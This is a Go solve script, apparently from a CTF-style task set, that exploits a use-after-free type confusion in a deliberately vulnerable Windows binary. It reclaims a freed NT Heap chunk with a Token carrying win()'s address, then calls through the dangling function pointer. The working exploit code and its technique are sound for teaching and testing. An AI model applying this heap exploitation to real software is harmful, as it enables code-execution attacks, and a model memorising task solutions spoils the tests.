/*
Solve script for heap_typemix.exe: UAF type-confusion on a private NT Heap
(no LFH, no grooming required).

The heap has two struct types of the same size (32 bytes):

  Note:  { char title[24]; void(*onPrint)(const char*); }
  Token: { char data[24]; void(*validate)(const char*); }

The bug: command D frees a Note but leaves its pointer in the table.
Command T allocates a raw 32-byte Token from the same private heap. Because
LFH is NOT active (no HeapSetInformation call, too few allocations), the freed
Note slot goes straight to the NT Heap backend freelist. The very next 32-byte
HeapAlloc -- i.e. the T command -- returns the exact same address.

Exploit chain (no grooming loop needed):
  1. N victim       -- allocate Note at address X, onPrint = real_print
  2. D 0            -- free Note (X is on backend freelist, pointer stays in table)
  3. T <payload>    -- HeapAlloc 32 bytes -> gets X; write win()'s address at offset 24
  4. P 0            -- call note[0]->onPrint(note[0]->title)
                       => actually calls Token.validate (= win()) at offset 24

win() address is read from the PE export table -- no leak needed, no ASLR to
defeat (or if the task provides it over the network, extract it the same way
examples/heap_lfh does with OpenPE).

NOTE FOR TASK AUTHORS: this is the simplest possible Windows heap UAF: no LFH
grooming threshold (unlike heap_lfh's ~19-allocation warmup), no Segment Heap
metadata isolation (unlike heap_segment). The freed chunk returns immediately.
If you need a harder variant, see heap_lfh (LFH grooming required) or
heap_lfh_hard (type confusion across size classes).
*/
package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_typemix.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found in export table: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() @ 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_typemix.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if _, err := tube.RecvLine(); err != nil { // "heap_typemix ready"
		log.Fatalf("RecvLine: %v", err)
	}

	// Step 1: allocate the victim Note
	if err := tube.SendLine([]byte("N victim")); err != nil {
		log.Fatalf("SendLine N: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine N resp: %v", err)
	}
	victimAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse victim addr: %v", err)
	}
	fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)

	// Step 2: free the victim (dangling pointer stays in table)
	if err := tube.SendLine([]byte("D 0")); err != nil {
		log.Fatalf("SendLine D: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine D resp: %v", err)
	}
	fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")

	// Step 3: allocate Token -- same 32-byte allocation will land at victimAddr.
	// Token layout: data[24] | validate(8)
	// We put win()'s address at offset 24 (= the validate / onPrint slot).
	payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
	payloadHex := winpwn.Enhex(payload)
	if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
		log.Fatalf("SendLine T: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine T resp: %v", err)
	}
	tokenAddr, err := parseAddr(resp)
	if err != nil {
		log.Fatalf("parse token addr: %v", err)
	}
	fmt.Printf("[+] Token @ 0x%X (want 0x%X)\n", tokenAddr, victimAddr)
	if tokenAddr != victimAddr {
		fmt.Printf("[-] WARN: addresses don't match -- chunk reuse didn't happen\n")
		fmt.Printf("    (check: did LFH activate? too many prior allocations?)\n")
	}

	// Step 4: call P 0 -- invokes note[0]->onPrint, which is now Token.validate = win()
	fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
	if err := tube.SendLine([]byte("P 0")); err != nil {
		log.Fatalf("SendLine P: %v", err)
	}

	tube.Interactive()
}
